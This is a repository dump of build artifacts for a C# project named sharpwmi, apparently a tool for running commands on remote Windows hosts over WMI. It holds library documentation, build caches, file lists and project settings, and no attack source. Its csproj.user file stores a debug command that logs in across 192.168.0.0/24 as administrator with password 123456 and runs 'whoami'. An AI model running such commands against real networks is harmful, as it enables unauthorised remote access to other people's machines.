-------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | IPAddressRange 5 | 6 | 7 | 8 | 9 | Counts the number of leading 1's in a bitmask. 10 | Returns null if value is invalid as a bitmask. 11 | 12 | 13 | 14 | 15 | 16 | 17 | Creates an empty range object, equivalent to "0.0.0.0/0". 18 | 19 | 20 | 21 | 22 | Creates a new range with the same start/end address (range of one) 23 | 24 | 25 | 26 | 27 | 28 | Create a new range from a begin and end address. 29 | Throws an exception if Begin comes after End, or the 30 | addresses are not in the same family. 31 | 32 | 33 | 34 | 35 | Creates a range from a base address and mask bits. 36 | This can also be used with to create a 37 | range based on a subnet mask. 38 | 39 | 40 | 41 | 42 | 43 | 44 | Takes a subnetmask (eg, "255.255.254.0") and returns the CIDR bit length of that 45 | address. Throws an exception if the passed address is not valid as a subnet mask. 46 | 47 | The subnet mask to use 48 | 49 | 50 | 51 | 52 | Returns the range in the format "begin-end", or 53 | as a single address if End is the same as Begin. 54 | 55 | 56 | 57 | 58 | 59 | Returns a Cidr String if this matches exactly a Cidr subnet 60 | 61 | 62 | 63 | 64 | Returns the input typed as IEnumerable<IPAddress> 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Debug/a.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/bin/Debug/a.txt -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Debug/sharpwmi.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/bin/Debug/sharpwmi.exe -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Debug/sharpwmi.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Debug/sharpwmi.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/bin/Debug/sharpwmi.pdb -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Release/IPAddressRange.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | IPAddressRange 5 | 6 | 7 | 8 | 9 | Counts the number of leading 1's in a bitmask. 10 | Returns null if value is invalid as a bitmask. 11 | 12 | 13 | 14 | 15 | 16 | 17 | Creates an empty range object, equivalent to "0.0.0.0/0". 18 | 19 | 20 | 21 | 22 | Creates a new range with the same start/end address (range of one) 23 | 24 | 25 | 26 | 27 | 28 | Create a new range from a begin and end address. 29 | Throws an exception if Begin comes after End, or the 30 | addresses are not in the same family. 31 | 32 | 33 | 34 | 35 | Creates a range from a base address and mask bits. 36 | This can also be used with to create a 37 | range based on a subnet mask. 38 | 39 | 40 | 41 | 42 | 43 | 44 | Takes a subnetmask (eg, "255.255.254.0") and returns the CIDR bit length of that 45 | address. Throws an exception if the passed address is not valid as a subnet mask. 46 | 47 | The subnet mask to use 48 | 49 | 50 | 51 | 52 | Returns the range in the format "begin-end", or 53 | as a single address if End is the same as Begin. 54 | 55 | 56 | 57 | 58 | 59 | Returns a Cidr String if this matches exactly a Cidr subnet 60 | 61 | 62 | 63 | 64 | Returns the input typed as IEnumerable<IPAddress> 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Release/sharpwmi.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/bin/Release/sharpwmi.exe -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Release/sharpwmi.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Release/sharpwmi.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/bin/Release/sharpwmi.pdb -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/demo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/demo.jpg -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] 5 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/.NETFramework,Version=v4.6.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")] 5 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/Costura/31160707620C9E949991D34B61D68F3469DB27DB.costura.ipaddressrange.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Debug/Costura/31160707620C9E949991D34B61D68F3469DB27DB.costura.ipaddressrange.dll.compressed -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/sharpwmi.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Debug/sharpwmi.csproj.CopyComplete -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/sharpwmi.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 4dac4e58ebb40341ffaf6deb05af3f182923249f 2 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/sharpwmi.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Debug\sharpwmi.exe 2 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Debug\sharpwmi.pdb 3 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Debug\sharpwmi.csproj.CoreCompileInputs.cache 4 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Debug\sharpwmi.exe 5 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Debug\sharpwmi.pdb 6 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Debug\sharpwmi.exe.config 7 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Debug\IPAddressRange.xml 8 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Debug\sharpwmi.csproj.CopyComplete 9 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Debug\sharpwmi.csproj.Fody.CopyLocal.cache 10 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/sharpwmi.csproj.Fody.CopyLocal.cache: -------------------------------------------------------------------------------- 1 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\packages\IPAddressRange.4.1.1\lib\net45\IPAddressRange.xml 2 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/sharpwmi.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Debug/sharpwmi.exe -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Debug/sharpwmi.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Debug/sharpwmi.pdb -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] 5 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/.NETFramework,Version=v4.6.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")] 5 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/Costura/31160707620C9E949991D34B61D68F3469DB27DB.costura.ipaddressrange.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/Costura/31160707620C9E949991D34B61D68F3469DB27DB.costura.ipaddressrange.dll.compressed -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/sharpwmi.csproj.CopyComplete -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 24936139c1788ea31c4225fe4a119c79b5381c91 2 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Administrator\source\repos\sharpwmi\sharpwmi\bin\Release\sharpwmi.exe 2 | C:\Users\Administrator\source\repos\sharpwmi\sharpwmi\bin\Release\sharpwmi.pdb 3 | C:\Users\Administrator\source\repos\sharpwmi\sharpwmi\obj\Release\sharpwmi.csprojAssemblyReference.cache 4 | C:\Users\Administrator\source\repos\sharpwmi\sharpwmi\obj\Release\sharpwmi.exe 5 | C:\Users\Administrator\source\repos\sharpwmi\sharpwmi\obj\Release\sharpwmi.pdb 6 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Release\sharpwmi.exe.config 7 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Release\sharpwmi.exe 8 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Release\sharpwmi.pdb 9 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\bin\Release\IPAddressRange.xml 10 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Release\sharpwmi.csproj.CoreCompileInputs.cache 11 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Release\sharpwmi.csproj.CopyComplete 12 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Release\sharpwmi.exe 13 | C:\Users\Black Sheep\Source\Repos\sharpwmi\sharpwmi\sharpwmi\obj\Release\sharpwmi.pdb 14 | C:\Users\Black Sheep\source\repos\sharpwmi\sharpwmi\sharpwmi\obj\Release\sharpwmi.csprojAssemblyReference.cache 15 | C:\Users\Black Sheep\source\repos\sharpwmi\sharpwmi\sharpwmi\obj\Release\sharpwmi.csproj.Fody.CopyLocal.cache 16 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.csproj.Fody.CopyLocal.cache: -------------------------------------------------------------------------------- 1 | C:\Users\Black Sheep\source\repos\sharpwmi\sharpwmi\packages\IPAddressRange.4.1.1\lib\net45\IPAddressRange.xml 2 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/sharpwmi.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/sharpwmi.exe -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/obj/Release/sharpwmi.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/obj/Release/sharpwmi.pdb -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/sharpwmi.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {BB357D38-6DC1-4F20-A54C-D664BD20677E} 9 | Exe 10 | sharpwmi 11 | sharpwmi 12 | v4.6 13 | 512 14 | true 15 | false 16 | 17 | publish\ 18 | true 19 | Disk 20 | false 21 | Foreground 22 | 7 23 | Days 24 | false 25 | false 26 | true 27 | 0 28 | 1.0.0.%2a 29 | false 30 | true 31 | 32 | 33 | 34 | 35 | AnyCPU 36 | true 37 | full 38 | false 39 | bin\Debug\ 40 | DEBUG;TRACE 41 | prompt 42 | 4 43 | false 44 | 45 | 46 | x64 47 | pdbonly 48 | true 49 | bin\Release\ 50 | TRACE 51 | prompt 52 | 0 53 | false 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll 62 | 63 | 64 | ..\packages\IPAddressRange.4.1.1\lib\net45\IPAddressRange.dll 65 | False 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | False 84 | .NET Framework 3.5 SP1 85 | false 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 97 | 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/sharpwmi.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | login 192.168.0.0/24 administrator 123456 cmd whoami 5 | 6 | 7 | publish\ 8 | 9 | 10 | 11 | 12 | 13 | zh-CN 14 | false 15 | 16 | --------------------------------------------------------------------------------